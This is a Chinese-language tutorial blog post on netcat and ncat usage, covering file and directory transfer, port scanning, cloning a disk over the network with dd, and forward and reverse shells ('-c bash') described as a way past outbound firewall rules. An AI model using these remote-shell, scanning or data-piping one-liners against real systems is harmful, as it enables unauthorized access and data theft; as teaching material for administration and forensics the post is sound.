常用参数说明
-h help
-l linsten 常用于服务端,提供入站连接
-n 不作dns解析,即ip,可以节省时间
-p port
-u udp
-z 常用于端口扫描
-v 详细内容
功能
文本功能
root@server:~# nc -l -p 6666
root@desktop:~# nc -nv 192.168.1.103 6666
增强功能,常用于取证
root@desktop:~# nc -l -p 6666 > 6.txt
root@server:~# ps -aux | nc -nv 192.168.1.102 6666 -q 1
* -q表示标准EOF 1 表示1s断开
传输文件
客户端向服务器传:
root@server:~# nc -lp 6666 > nc.jpg
root@desktop:~# nc -nv 192.168.1.103 6666 < 1.jpg -q 1
服务器向客户端
nc -lp 6666 -q 1 < nc.jpg
nc -nv 192.168.1.103 6666 > 2.jpg
传输目录
root@server:~# mkdir -p d/e/m/o
ps -aux > d/e/m/o/mb.txt
root@server:~# tar -cvf - d/ | nc -lp 6666 -q 1
d/
d/e/
d/e/m/
d/e/m/o/
d/e/m/o/mb.txt
root@desktop:~# nc -nv 192.168.1.103 6666 | tar -xvf -
(UNKNOWN) [192.168.1.103] 6666 (?) open
d/
d/e/
d/e/m/
d/e/m/o/
d/e/m/o/mb.txt
可以自行检查一下
加密传输
密码有点繁琐,而且不是很好的支持,可以使用ncat
,默认在nmap
包中,支持ssl
root@server:~# ncat --allow 192.168.1.102 -vnl 6666 --ssl > 7.txt
root@desktop:~# ls -a | ncat -nv 192.168.1.103 6666 --ssl
流媒体服务
这个跳过吧,debian没装桌面,大概格式如下
root@server:~# cat 1.mp4 | nc -lp 6666
nc -nv 192.168.1.103 6666 | mplayer -vo x11 -cache 3000 -
端口扫描
:::python
root@desktop:~# nc -nvz 192.168.1.103 1-100 基于TCP
root@desktop:~# nc -vnzu 192.168.1.103 1-100 基于UDP
远程克隆硬盘
[A]nc -lp port | dd of=/dev/sda
[B]dd if=/dev/sda | nc -nv ip port -q 1
* B为被取证服务器
远程控制
正向控制
root@server:~# nc -lp 6666 -c bash
root@desktop:~# nc -nv 192.168.1.103 6666
反向
root@desktop:~# nc -lp 6666
root@server:~# nc -nv 192.168.1.102 6666 -c bash
* 都是实现客户端控制服务器
* 解决部分服务器防火墙设置,禁止出口流量
无关联的杂记
修改hostname
查看hostname[一眼就可以看出来]
Debian 修改`/etc/[hosts|hostsname]`这两个文件
reboot
点击查看更多内容
2人点赞
评论
共同学习,写下你的评论
评论加载中...
作者其他优质文章
正在加载中
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦